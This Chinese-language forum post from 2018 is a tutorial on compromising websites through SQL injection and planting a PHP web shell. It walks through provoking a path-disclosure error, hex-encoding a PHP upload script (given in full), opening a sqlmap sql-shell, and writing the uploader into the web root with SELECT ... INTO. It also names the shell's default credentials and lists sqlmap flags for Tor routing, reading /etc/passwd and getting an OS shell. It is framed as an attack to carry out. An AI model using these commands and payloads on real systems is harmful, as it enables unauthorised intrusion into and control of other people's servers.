xiguaqq20 发表于 2018-8-26 09:28:08

一个利用sql注入上传shell的姿势

  利用sql注入上传shell
  上传前的准备:
  一个PHPshell;
  http://pan.baidu.com/s/1jG5zLpO
  一个注入脚本;
  以及sqlmap(当然这个不是必须的,你也可以在你的浏览器上完成)。
  接下来,让我们开始吧:
  找到一个路径泄露的网站后,我们就可以开始我们的工作了。
  我将会使用加方括号的空数组***
  像这样:
  http://www.example.com/index.php?id[]=1
  然后得到目录:
  Warning:mysql_fetch_array():supplied argument is not a valid MySQL result resource in/home/relax/public_html/index.php on line 59
  现在,你需要将你的上传脚本转换为十六进制的。
  转换前:
  
  转换后:
  3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
  接下来,让我们操起sqlmap开干吧。
  获取sql-shell
  python sqlmap.py--url=http://www.example.com/index.php?id=1 --sql-shell
   the back-end DBMS isMySQL
  web server operating system: Windows
  web application technology: PHP 5.3.5, Apache 2.2.17
  back-end DBMS: MySQL 5
   calling MySQL shell. To quit type 'x' or 'q' and press ENTER
  sql-shell>
  现在将前面我们准备的十六进制文件写进sql-shell中。
  select0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e
  into"/home/relax/public_html/upload.php";
  (别忘了在十六进制文件之前加上0x)
  等上几秒后我们进入 http://www.example.com/upload.php验证是否成功。
  如果成功的话就上传PHP shell。
  上传之后就是你shell的工作时间了。
  注意:
  Shell的账号和密码为cyber,gladiator,你可以在PHP文件中更改用户名和密码,但是shell的名称一定要是cyb3r-sh3ll.php,否则这个shell将会失效
  Sqlmap中的一些参数:
  --tor-port=xxxx                        connectthrough tor
  --random-agent                         random user agent
  --file-read=/etc/passwd            readlocal file
  --file-write=/etc/passwd            writefile to remote machine must be used with file-dest
  --file-dest=/etc/passwd            where to write the file-write
  --os-shell                                    like thesql-shell but system
  --wizard                                    forbeginners
  --check-waf                                 Check for WAF/IPS/IDSprotection

页: [1]
查看完整版本: 一个利用sql注入上传shell的姿势